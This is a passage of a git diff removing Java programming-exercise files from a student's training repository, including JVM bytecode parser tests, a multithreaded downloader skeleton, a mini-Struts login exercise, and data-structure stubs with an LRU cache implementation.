-		Assert.assertEquals(expectedCode, code);
-	}
-
-	@Test
-	public void testByteCodeCommand(){
-		{
-			Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
-			ByteCodeCommand[] cmds = initMethod.getCmds();
-
-			assertOpCodeEquals("0: aload_0", cmds[0]);
-			assertOpCodeEquals("1: invokespecial #12", cmds[1]);
-			assertOpCodeEquals("4: aload_0", cmds[2]);
-			assertOpCodeEquals("5: aload_1", cmds[3]);
-			assertOpCodeEquals("6: putfield #15", cmds[4]);
-			assertOpCodeEquals("9: aload_0", cmds[5]);
-			assertOpCodeEquals("10: iload_2", cmds[6]);
-			assertOpCodeEquals("11: putfield #17", cmds[7]);
-			assertOpCodeEquals("14: return", cmds[8]);
-		}
-
-		{
-			Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
-			ByteCodeCommand [] cmds = setNameMethod.getCmds();
-
-			assertOpCodeEquals("0: aload_0", cmds[0]);
-			assertOpCodeEquals("1: aload_1", cmds[1]);
-			assertOpCodeEquals("2: putfield #15", cmds[2]);
-			assertOpCodeEquals("5: return", cmds[3]);
-
-		}
-
-		{
-			Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
-			ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
-
-			assertOpCodeEquals("0: getstatic #28", cmds[0]);
-			assertOpCodeEquals("3: ldc #34", cmds[1]);
-			assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
-			assertOpCodeEquals("8: return", cmds[3]);
-
-		}
-
-		{
-			Method mainMethod = this.clzFile.getMainMethod();
-
-			ByteCodeCommand [] cmds = mainMethod.getCmds();
-
-			assertOpCodeEquals("0: new #1", cmds[0]);
-			assertOpCodeEquals("3: dup", cmds[1]);
-			assertOpCodeEquals("4: ldc #43", cmds[2]);
-			assertOpCodeEquals("6: bipush 29", cmds[3]);
-			assertOpCodeEquals("8: invokespecial #45", cmds[4]);
-			assertOpCodeEquals("11: astore_1", cmds[5]);
-			assertOpCodeEquals("12: aload_1", cmds[6]);
-			assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
-			assertOpCodeEquals("16: return", cmds[8]);
-		}
-
-	}
-
-	private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
-
-		String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
-
-		if(cmd instanceof OneOperandCmd){
-			if(cmd instanceof BiPushCmd){
-				acctual += " " + ((OneOperandCmd)cmd).getOperand();
-			} else{
-				acctual += " #" + ((OneOperandCmd)cmd).getOperand();
-			}
-		}
-		if(cmd instanceof TwoOperandCmd){
-			acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
-		}
-		Assert.assertEquals(expected, acctual);
-	}
-
-}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java
deleted file mode 100644
index 12e3d7efdd..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coderising.jvm.test;
-
-public class EmployeeV1 {
-	
-	
-	private String name;
-    private int age;
-    
-    public EmployeeV1(String name, int age) {
-        this.name = name;
-        this.age = age;        
-    }    
-
-    public void setName(String name) {
-        this.name = name;
-    }
-    public void setAge(int age){
-    	this.age = age;
-    }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
-    }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
-    }
-}
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java
deleted file mode 100644
index 0c4cc8c57c..0000000000
--- a/group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.coderising.jvm.util;
-
-public class Util {
-	public static int byteToInt(byte[] codes){
-    	String s1 = byteToHexString(codes);
-    	return Integer.valueOf(s1, 16).intValue();
-    }
-    
-    
-    
-	public static String byteToHexString(byte[] codes ){
-		StringBuffer buffer = new StringBuffer();
-		for(int i=0;i<codes.length;i++){
-			byte b = codes[i];
-			int value = b & 0xFF;
-			String strHex = Integer.toHexString(value);
-			if(strHex.length()< 2){
-				strHex = "0" + strHex;
-			}		
-			buffer.append(strHex);
-		}
-		return buffer.toString();
-	}
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java b/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java
deleted file mode 100644
index 900a3ad358..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/DownloadThread.java
+++ /dev/null
@@ -1,20 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-
-public class DownloadThread extends Thread{
-
-	Connection conn;
-	int startPos;
-	int endPos;
-
-	public DownloadThread( Connection conn, int startPos, int endPos){
-		
-		this.conn = conn;		
-		this.startPos = startPos;
-		this.endPos = endPos;
-	}
-	public void run(){	
-		
-	}
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java
deleted file mode 100644
index c3c8a3f27d..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/FileDownloader.java
+++ /dev/null
@@ -1,73 +0,0 @@
-package com.coderising.download;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-
-
-public class FileDownloader {
-	
-	String url;
-	
-	DownloadListener listener;
-	
-	ConnectionManager cm;
-	
-
-	public FileDownloader(String _url) {
-		this.url = _url;
-		
-	}
-	
-	public void execute(){
-		// 在这里实现你的代码， 注意： 需要用多线程实现下载
-		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
-		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
-		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
-		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
-		// 具体的实现思路：
-		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
-		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
-		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
-		// 3. 把byte数组写入到文件中
-		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
-		
-		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
-		Connection conn = null;
-		try {
-			
-			conn = cm.open(this.url);
-			
-			int length = conn.getContentLength();	
-			
-			new DownloadThread(conn,0,length-1).start();
-			
-		} catch (ConnectionException e) {			
-			e.printStackTrace();
-		}finally{
-			if(conn != null){
-				conn.close();
-			}
-		}
-		
-		
-		
-		
-	}
-	
-	public void setListener(DownloadListener listener) {
-		this.listener = listener;
-	}
-
-	
-	
-	public void setConnectionManager(ConnectionManager ucm){
-		this.cm = ucm;
-	}
-	
-	public DownloadListener getListener(){
-		return this.listener;
-	}
-	
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java b/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java
deleted file mode 100644
index 4ff7f46ae0..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/FileDownloaderTest.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coderising.download;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Test;
-
-import com.coderising.download.api.ConnectionManager;
-import com.coderising.download.api.DownloadListener;
-import com.coderising.download.impl.ConnectionManagerImpl;
-
-public class FileDownloaderTest {
-	boolean downloadFinished = false;
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testDownload() {
-		
-		String url = "http://localhost:8080/test.jpg";
-		
-		FileDownloader downloader = new FileDownloader(url);
-
-	
-		ConnectionManager cm = new ConnectionManagerImpl();
-		downloader.setConnectionManager(cm);
-		
-		downloader.setListener(new DownloadListener() {
-			@Override
-			public void notifyFinished() {
-				downloadFinished = true;
-			}
-
-		});
-
-		
-		downloader.execute();
-		
-		// 等待多线程下载程序执行完毕
-		while (!downloadFinished) {
-			try {
-				System.out.println("还没有下载完成，休眠五秒");
-				//休眠5秒
-				Thread.sleep(5000);
-			} catch (InterruptedException e) {				
-				e.printStackTrace();
-			}
-		}
-		System.out.println("下载完成！");
-		
-		
-
-	}
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java b/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java
deleted file mode 100644
index 0957eaf7f4..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/api/Connection.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.download.api;
-
-import java.io.IOException;
-
-public interface Connection {
-	/**
-	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
-	 * @param startPos 开始位置， 从0开始
-	 * @param endPos 结束位置
-	 * @return
-	 */
-	public byte[] read(int startPos,int endPos) throws IOException;
-	/**
-	 * 得到数据内容的长度
-	 * @return
-	 */
-	public int getContentLength();
-	
-	/**
-	 * 关闭连接
-	 */
-	public void close();
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java
deleted file mode 100644
index 1551a80b3d..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionException.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public class ConnectionException extends Exception {
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java b/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java
deleted file mode 100644
index ce045393b1..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/api/ConnectionManager.java
+++ /dev/null
@@ -1,10 +0,0 @@
-package com.coderising.download.api;
-
-public interface ConnectionManager {
-	/**
-	 * 给定一个url , 打开一个连接
-	 * @param url
-	 * @return
-	 */
-	public Connection open(String url) throws ConnectionException;	
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java b/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java
deleted file mode 100644
index bf9807b307..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/api/DownloadListener.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package com.coderising.download.api;
-
-public interface DownloadListener {
-	public void notifyFinished();
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java
deleted file mode 100644
index 36a9d2ce15..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionImpl.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.download.impl;
-
-import java.io.IOException;
-
-import com.coderising.download.api.Connection;
-
-public class ConnectionImpl implements Connection{
-
-	@Override
-	public byte[] read(int startPos, int endPos) throws IOException {
-		
-		return null;
-	}
-
-	@Override
-	public int getContentLength() {
-		
-		return 0;
-	}
-
-	@Override
-	public void close() {
-		
-		
-	}
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java b/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
deleted file mode 100644
index 172371dd55..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/download/impl/ConnectionManagerImpl.java
+++ /dev/null
@@ -1,15 +0,0 @@
-package com.coderising.download.impl;
-
-import com.coderising.download.api.Connection;
-import com.coderising.download.api.ConnectionException;
-import com.coderising.download.api.ConnectionManager;
-
-public class ConnectionManagerImpl implements ConnectionManager {
-
-	@Override
-	public Connection open(String url) throws ConnectionException {
-		
-		return null;
-	}
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java
deleted file mode 100644
index dcdbe226ed..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/litestruts/LoginAction.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.litestruts;
-
-/**
- * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
- *
- */
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java
deleted file mode 100644
index 85e2e22de3..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/litestruts/Struts.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-
-
-public class Struts {
-
-    public static View runAction(String actionName, Map<String,String> parameters) {
-
-        /*
-         
-		0. 读取配置文件struts.xml
- 		
- 		1. 根据actionName找到相对应的class ， 例如LoginAction,   通过反射实例化（创建对象）
-		据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 
-		("name"="test" ,  "password"="1234") ,     	
-		那就应该调用 setName和setPassword方法
-		
-		2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
-		
-		3. 通过反射找到对象的所有getter方法（例如 getMessage）,  
-		通过反射来调用， 把值和属性形成一个HashMap , 例如 {"message":  "登录成功"} ,  
-		放到View对象的parameters
-		
-		4. 根据struts.xml中的 <result> 配置,以及execute的返回值，  确定哪一个jsp，  
-		放到View对象的jsp字段中。
-        
-        */
-    	
-    	return null;
-    }    
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java
deleted file mode 100644
index b8c81faf3c..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/litestruts/StrutsTest.java
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //密码和预设的不一致
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
diff --git a/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java b/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java
deleted file mode 100644
index 07df2a5dab..0000000000
--- a/group23/563253496/week6_stack/src/com/coderising/litestruts/View.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java b/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java
deleted file mode 100644
index d7ac820192..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/BinaryTreeNode.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.basic;
-
-public class BinaryTreeNode {
-	
-	private Object data;
-	private BinaryTreeNode left;
-	private BinaryTreeNode right;
-	
-	public Object getData() {
-		return data;
-	}
-	public void setData(Object data) {
-		this.data = data;
-	}
-	public BinaryTreeNode getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode left) {
-		this.left = left;
-	}
-	public BinaryTreeNode getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode insert(Object o){
-		return  null;
-	}
-	
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java b/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java
deleted file mode 100644
index 06ef6311b2..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.basic;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/List.java b/group23/563253496/week6_stack/src/com/coding/basic/List.java
deleted file mode 100644
index 10d13b5832..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.basic;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/Queue.java b/group23/563253496/week6_stack/src/com/coding/basic/Queue.java
deleted file mode 100644
index 36e516e266..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/Queue.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coding.basic;
-
-public class Queue {
-	
-	public void enQueue(Object o){		
-	}
-	
-	public Object deQueue(){
-		return null;
-	}
-	
-	public boolean isEmpty(){
-		return false;
-	}
-	
-	public int size(){
-		return -1;
-	}
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java
deleted file mode 100644
index 4576c016af..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayList.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coding.basic.array;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = new Object[100];
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index, Object o){
-		
-	}
-	
-	public Object get(int index){
-		return null;
-	}
-	
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public Iterator iterator(){
-		return null;
-	}
-	
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java b/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java
deleted file mode 100644
index 45740e6d57..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/array/ArrayUtil.java
+++ /dev/null
@@ -1,96 +0,0 @@
-package com.coding.basic.array;
-
-public class ArrayUtil {
-	
-	/**
-	 * 给定一个整形数组a , 对该数组的值进行置换
-		例如： a = [7, 9 , 30, 3]  ,   置换后为 [3, 30, 9,7]
-		如果     a = [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
-	 * @param origin
-	 * @return
-	 */
-	public void reverseArray(int[] origin){
-		
-	}
-	
-	/**
-	 * 现在有如下的一个数组：   int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}   
-	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为：   
-	 * {1,3,4,5,6,6,5,4,7,6,7,5}  
-	 * @param oldArray
-	 * @return
-	 */
-	
-	public int[] removeZero(int[] oldArray){
-		return null;
-	}
-	
-	/**
-	 * 给定两个已经排序好的整形数组， a1和a2 ,  创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的
-	 * 例如 a1 = [3, 5, 7,8]   a2 = [4, 5, 6,7]    则 a3 为[3,4,5,6,7,8]    , 注意： 已经消除了重复
-	 * @param array1
-	 * @param array2
-	 * @return
-	 */
-	
-	public int[] merge(int[] array1, int[] array2){
-		return  null;
-	}
-	/**
-	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
-	 * 注意，老数组的元素在新数组中需要保持
-	 * 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
-	 * [2,3,6,0,0,0]
-	 * @param oldArray
-	 * @param size
-	 * @return
-	 */
-	public int[] grow(int [] oldArray,  int size){
-		return null;
-	}
-	
-	/**
-	 * 斐波那契数列为：1，1，2，3，5，8，13，21......  ，给定一个最大值， 返回小于该值的数列
-	 * 例如， max = 15 , 则返回的数组应该为 [1，1，2，3，5，8，13]
-	 * max = 1, 则返回空数组 []
-	 * @param max
-	 * @return
-	 */
-	public int[] fibonacci(int max){
-		return null;
-	}
-	
-	/**
-	 * 返回小于给定最大值max的所有素数数组
-	 * 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
-	 * @param max
-	 * @return
-	 */
-	public int[] getPrimes(int max){
-		return null;
-	}
-	
-	/**
-	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3
-	 * 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
-	 * @param max
-	 * @return
-	 */
-	public int[] getPerfectNumbers(int max){
-		return null;
-	}
-	
-	/**
-	 * 用seperator 把数组 array给连接起来
-	 * 例如array= [3,8,9], seperator = "-"
-	 * 则返回值为"3-8-9"
-	 * @param array
-	 * @param s
-	 * @return
-	 */
-	public String join(int[] array, String seperator){
-		return null;
-	}
-	
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java
deleted file mode 100644
index 24b9d8b155..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrame.java
+++ /dev/null
@@ -1,164 +0,0 @@
-package com.coding.basic.linklist;
-
-
-public class LRUPageFrame {
-	
-	private static class Node {
-		
-		Node prev;
-		Node next;
-		int pageNum;
-
-		Node() {
-		}
-	}
-
-	private int capacity;
-	
-	private int currentSize;
-	private Node first;// 链表头
-	private Node last;// 链表尾
-
-	
-	public LRUPageFrame(int capacity) {
-		this.currentSize = 0;
-		this.capacity = capacity;
-		
-	}
-
-	/**
-	 * 获取缓存中对象
-	 * 
-	 * @param key
-	 * @return
-	 */
-	public void access(int pageNum) {
-		
-		Node node = find(pageNum);
-		//在该队列中存在， 则提到队列头
-		if (node != null) {
-			
-			moveExistingNodeToHead(node);		
-			
-		} else{
-			
-			node = new Node();
-			node.pageNum = pageNum;
-			
-			// 缓存容器是否已经超过大小.
-			if (currentSize >= capacity) {			
-				removeLast();
-							
-			} 
-			
-			addNewNodetoHead(node);
-			
-			
-			
-						
-		}
-	}
-	
-	private void addNewNodetoHead(Node node) {
-		
-		if(isEmpty()){
-			
-			node.prev = null;
-			node.next = null;
-			first = node;
-			last = node;
-			
-		} else{
-			node.prev = null;
-			node.next = first;
-			first.prev = node;
-			first = node;
-		}
-		this.currentSize ++;
-	}
-
-	private Node find(int data){
-		
-		Node node = first;
-		while(node != null){
-			if(node.pageNum == data){
-				return node;
-			}
-			node = node.next;
-		}
-		return null;
-		
-	}
-
-	
-
-	
-	
-
-	/**
-	 * 删除链表尾部节点 表示 删除最少使用的缓存对象
-	 */
-	private void removeLast() {
-		Node prev = last.prev;
-		prev.next = null;
-		last.prev = null;
-		last = prev;
-		this.currentSize --;
-	}
-
-	/**
-	 * 移动到链表头，表示这个节点是最新使用过的
-	 * 
-	 * @param node
-	 */
-	private void moveExistingNodeToHead(Node node) {
-		
-		if (node == first) {
-			
-			return;
-		}
-		else if(node == last){
-			//当前节点是链表尾， 需要放到链表头
-			Node prevNode = node.prev;
-			prevNode.next = null;	
-			last.prev = null;
-			last  = prevNode;				
-			
-		} else{
-			//node 在链表的中间， 把node 的前后节点连接起来
-			Node prevNode = node.prev;
-			prevNode.next = node.next;
-			
-			Node nextNode = node.next;
-			nextNode.prev = prevNode;
-			
-			
-		}
-		
-		node.prev = null;
-		node.next = first;
-		first.prev = node;
-		first = node;	
-		
-	}
-	private boolean isEmpty(){		
-		return (first == null) && (last == null);
-	}
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		Node node = first;
-		while(node != null){
-			buffer.append(node.pageNum);			
-			
-			node = node.next;
-			if(node != null){
-				buffer.append(",");
-			}
-		}
-		return buffer.toString();
-	}
-	
-	
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
deleted file mode 100644
index 7fd72fc2b4..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LRUPageFrameTest.java
+++ /dev/null
@@ -1,34 +0,0 @@
-package com.coding.basic.linklist;
-
-import  org.junit.Assert;
-
-import org.junit.Test;
-
-
-public class LRUPageFrameTest {
-	
-	@Test
-	public void testAccess() {
-		LRUPageFrame frame = new LRUPageFrame(3);
-		frame.access(7);
-		frame.access(0);
-		frame.access(1);
-		Assert.assertEquals("1,0,7", frame.toString());
-		frame.access(2);
-		Assert.assertEquals("2,1,0", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,2,1", frame.toString());
-		frame.access(3);
-		Assert.assertEquals("3,0,2", frame.toString());
-		frame.access(0);
-		Assert.assertEquals("0,3,2", frame.toString());
-		frame.access(4);
-		Assert.assertEquals("4,0,3", frame.toString());
-		frame.access(5);
-		Assert.assertEquals("5,4,0", frame.toString());
-		
-	}
-
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java b/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java
deleted file mode 100644
index f4c7556a2e..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/linklist/LinkedList.java
+++ /dev/null
@@ -1,125 +0,0 @@
-package com.coding.basic.linklist;
-
-import com.coding.basic.Iterator;
-import com.coding.basic.List;
-
-public class LinkedList implements List {
-	
-	private Node head;
-	
-	public void add(Object o){
-		
-	}
-	public void add(int index , Object o){
-		
-	}
-	public Object get(int index){
-		return null;
-	}
-	public Object remove(int index){
-		return null;
-	}
-	
-	public int size(){
-		return -1;
-	}
-	
-	public void addFirst(Object o){
-		
-	}
-	public void addLast(Object o){
-		
-	}
-	public Object removeFirst(){
-		return null;
-	}
-	public Object removeLast(){
-		return null;
-	}
-	public Iterator iterator(){
-		return null;
-	}
-	
-	
-	private static  class Node{
-		Object data;
-		Node next;
-		
-	}
-	
-	/**
-	 * 把该链表逆置
-	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
-	 */
-	public  void reverse(){		
-		
-	}
-	
-	/**
-	 * 删除一个单链表的前半部分
-	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
-	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
-
-	 */
-	public  void removeFirstHalf(){
-		
-	}
-	
-	/**
-	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
-	 * @param i
-	 * @param length
-	 */
-	public  void remove(int i, int length){
-		
-	}
-	/**
-	 * 假定当前链表和listB均包含已升序排列的整数
-	 * 从当前链表中取出那些listB所指定的元素
-	 * 例如当前链表 = 11->101->201->301->401->501->601->701
-	 * listB = 1->3->4->6
-	 * 返回的结果应该是[101,301,401,601]  
-	 * @param list
-	 */
-	public  int[] getElements(LinkedList list){
-		return null;
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 从当前链表中中删除在listB中出现的元素 
-
-	 * @param list
-	 */
-	
-	public  void subtract(LinkedList list){
-		
-	}
-	
-	/**
-	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
-	 */
-	public  void removeDuplicateValues(){
-		
-	}
-	
-	/**
-	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
-	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
-	 * @param min
-	 * @param max
-	 */
-	public  void removeRange(int min, int max){
-		
-	}
-	
-	/**
-	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
-	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
-	 * @param list
-	 */
-	public  LinkedList intersection( LinkedList list){
-		return null;
-	}
-}
diff --git a/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java b/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java
deleted file mode 100644
index fff3778da5..0000000000
--- a/group23/563253496/week6_stack/src/com/coding/basic/stack/Stack.java
+++ /dev/null
@@ -1,64 +0,0 @@
-package com.coding.basic.stack;
-
-import java.util.ArrayList;
-import java.util.ArrayList;
-
-/**
- * Created by bdl19 on 2017/4/8.
- */
-public class Stack {
-    private int count;
